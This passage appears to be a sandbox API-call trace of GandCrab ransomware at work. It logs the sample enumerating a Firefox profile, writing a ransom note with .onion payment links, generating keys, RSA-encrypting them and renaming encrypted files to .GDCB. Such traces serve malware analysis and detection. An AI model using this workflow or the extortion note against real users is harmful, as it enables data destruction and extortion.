lpString2="..") returned 1 [0055.110] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="sessionstore-backups" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups" [0055.110] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups") returned 100 [0055.110] lstrcmpW (lpString1=".default\\sessionstore-backups", lpString2=".sql") returned -1 [0055.110] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.110] lstrcmpW (lpString1="sessionstore.js", lpString2=".") returned 1 [0055.110] lstrcmpW (lpString1="sessionstore.js", lpString2="..") returned 1 [0055.110] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="sessionstore.js" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js" [0055.110] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js") returned 95 [0055.110] lstrcmpW (lpString1=".js", lpString2=".sql") returned -1 [0055.110] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.110] lstrcmpW (lpString1="SiteSecurityServiceState.txt", lpString2=".") returned 1 [0055.110] lstrcmpW (lpString1="SiteSecurityServiceState.txt", lpString2="..") returned 1 [0055.110] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="SiteSecurityServiceState.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt" [0055.110] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt") returned 108 [0055.110] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0055.110] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.110] lstrcmpW (lpString1="storage", lpString2=".") returned 1 [0055.110] lstrcmpW (lpString1="storage", lpString2="..") returned 1 [0055.110] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="storage" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage" [0055.110] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage") returned 87 [0055.110] lstrcmpW (lpString1=".default\\storage", lpString2=".sql") returned -1 [0055.110] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.110] lstrcmpW (lpString1="storage.sqlite", lpString2=".") returned 1 [0055.110] lstrcmpW (lpString1="storage.sqlite", lpString2="..") returned 1 [0055.110] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="storage.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite" [0055.110] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite") returned 94 [0055.110] lstrcmpW (lpString1=".sqlite", lpString2=".sql") returned 1 [0055.110] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.110] lstrcmpW (lpString1="times.json", lpString2=".") returned 1 [0055.110] lstrcmpW (lpString1="times.json", lpString2="..") returned 1 [0055.110] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="times.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\times.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\times.json" [0055.110] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\times.json") returned 90 [0055.110] lstrcmpW (lpString1=".json", lpString2=".sql") returned -1 [0055.110] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.110] lstrcmpW (lpString1="webappsstore.sqlite", lpString2=".") returned 1 [0055.110] lstrcmpW (lpString1="webappsstore.sqlite", lpString2="..") returned 1 [0055.110] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="webappsstore.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\webappsstore.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\webappsstore.sqlite" [0055.111] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\webappsstore.sqlite") returned 99 [0055.111] lstrcmpW (lpString1=".sqlite", lpString2=".sql") returned 1 [0055.111] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.111] lstrcmpW (lpString1="xulstore.json", lpString2=".") returned 1 [0055.111] lstrcmpW (lpString1="xulstore.json", lpString2="..") returned 1 [0055.111] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="xulstore.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\xulstore.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\xulstore.json" [0055.111] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\xulstore.json") returned 93 [0055.111] lstrcmpW (lpString1=".json", lpString2=".sql") returned -1 [0055.111] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0055.111] FindClose (in: hFindFile=0x5b81f0 | out: hFindFile=0x5b81f0) returned 1 [0055.111] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.111] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\\\GDCB-DECRYPT.txt") returned 97 [0055.111] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0055.113] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0055.113] WriteFile (in: hFile=0x500, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e864, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e864*=0xad6, lpOverlapped=0x0) returned 1 [0055.114] CloseHandle (hObject=0x500) returned 1 [0055.114] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.114] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\") returned 80 [0055.114] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\*" [0055.114] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x5b80f0 [0055.114] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.114] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0055.114] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.114] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.114] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0055.114] lstrcmpW (lpString1="addons.json", lpString2=".") returned 1 [0055.114] lstrcmpW (lpString1="addons.json", lpString2="..") returned 1 [0055.114] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="addons.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json" [0055.114] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.114] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json") returned 91 [0055.114] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json") returned 91 [0055.114] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json") returned 91 [0055.114] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json") returned 91 [0055.114] lstrcmpiW (lpString1="addons.json", lpString2="desktop.ini") returned -1 [0055.115] lstrcmpiW (lpString1="addons.json", lpString2="autorun.inf") returned -1 [0055.115] lstrcmpiW (lpString1="addons.json", lpString2="ntuser.dat") returned -1 [0055.115] lstrcmpiW (lpString1="addons.json", lpString2="iconcache.db") returned -1 [0055.115] lstrcmpiW (lpString1="addons.json", lpString2="bootsect.bak") returned -1 [0055.115] lstrcmpiW (lpString1="addons.json", lpString2="boot.ini") returned -1 [0055.115] lstrcmpiW (lpString1="addons.json", lpString2="ntuser.dat.log") returned -1 [0055.115] lstrcmpiW (lpString1="addons.json", lpString2="thumbs.db") returned -1 [0055.115] lstrcmpiW (lpString1="addons.json", lpString2="GDCB-DECRYPT.txt") returned -1 [0055.115] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\addons.json")) returned 0x20 [0055.115] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json", dwFileAttributes=0x20) returned 1 [0055.115] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0055.115] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json" [0055.115] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json.GDCB" [0055.115] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0055.116] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.116] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.116] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.116] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0055.116] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.116] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.116] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5902c0) returned 1 [0055.117] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.117] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.117] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.117] CryptGenRandom (in: hProv=0x5902c0, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0055.117] CryptReleaseContext (hProv=0x5902c0, dwFlags=0x0) returned 1 [0055.117] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.117] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0055.117] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0055.117] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5900a0) returned 1 [0055.119] CryptImportKey (in: hProv=0x5900a0, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5b8570) returned 1 [0055.119] CryptGetKeyParam (in: hKey=0x5b8570, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0055.119] CryptEncrypt (in: hKey=0x5b8570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0055.119] GetLastError () returned 0x0 [0055.120] CryptReleaseContext (hProv=0x5900a0, dwFlags=0x0) returned 1 [0055.120] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5902c0) returned 1 [0055.121] CryptImportKey (in: hProv=0x5902c0, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5b7ff0) returned 1 [0055.121] CryptGetKeyParam (in: hKey=0x5b7ff0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0055.121] CryptEncrypt (in: hKey=0x5b7ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0055.121] GetLastError () returned 0x0 [0055.121] CryptReleaseContext (hProv=0x5902c0, dwFlags=0x0) returned 1 [0055.121] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\addons.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0055.122] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0055.122] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0055.122] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x18, lpOverlapped=0x0) returned 1 [0055.126] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0055.127] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0055.127] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.127] SetFilePointer (in: hFile=0x504, lDistanceToMove=-24, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.127] WriteFile (in: hFile=0x504, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285e820*=0x20, lpOverlapped=0x0) returned 1 [0055.127] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.127] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.130] WriteFile (in: hFile=0x504, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0055.130] WriteFile (in: hFile=0x504, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0055.130] WriteFile (in: hFile=0x504, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0055.130] CloseHandle (hObject=0x504) returned 1 [0055.131] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.131] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.132] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.132] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\addons.json"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\addons.json.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\addons.json.gdcb")) returned 1 [0055.132] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.132] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.133] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0055.133] lstrcmpW (lpString1="AlternateServices.txt", lpString2=".") returned 1 [0055.133] lstrcmpW (lpString1="AlternateServices.txt", lpString2="..") returned 1 [0055.133] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="AlternateServices.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\AlternateServices.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\AlternateServices.txt" [0055.133] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.133] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\AlternateServices.txt") returned 101 [0055.133] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\AlternateServices.txt") returned 101 [0055.133] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.133] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0055.133] lstrcmpW (lpString1="blocklist-addons.json", lpString2=".") returned 1 [0055.133] lstrcmpW (lpString1="blocklist-addons.json", lpString2="..") returned 1 [0055.133] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="blocklist-addons.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json" [0055.133] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.133] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json") returned 101 [0055.133] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json") returned 101 [0055.133] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json") returned 101 [0055.133] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json") returned 101 [0055.133] lstrcmpiW (lpString1="blocklist-addons.json", lpString2="desktop.ini") returned -1 [0055.133] lstrcmpiW (lpString1="blocklist-addons.json", lpString2="autorun.inf") returned 1 [0055.133] lstrcmpiW (lpString1="blocklist-addons.json", lpString2="ntuser.dat") returned -1 [0055.133] lstrcmpiW (lpString1="blocklist-addons.json", lpString2="iconcache.db") returned -1 [0055.133] lstrcmpiW (lpString1="blocklist-addons.json", lpString2="bootsect.bak") returned -1 [0055.133] lstrcmpiW (lpString1="blocklist-addons.json", lpString2="boot.ini") returned -1 [0055.133] lstrcmpiW (lpString1="blocklist-addons.json", lpString2="ntuser.dat.log") returned -1 [0055.133] lstrcmpiW (lpString1="blocklist-addons.json", lpString2="thumbs.db") returned -1 [0055.133] lstrcmpiW (lpString1="blocklist-addons.json", lpString2="GDCB-DECRYPT.txt") returned -1 [0055.133] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\blocklist-addons.json")) returned 0x20 [0055.134] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json", dwFileAttributes=0x20) returned 1 [0055.134] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0055.134] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json" [0055.134] lstrcatW (in: 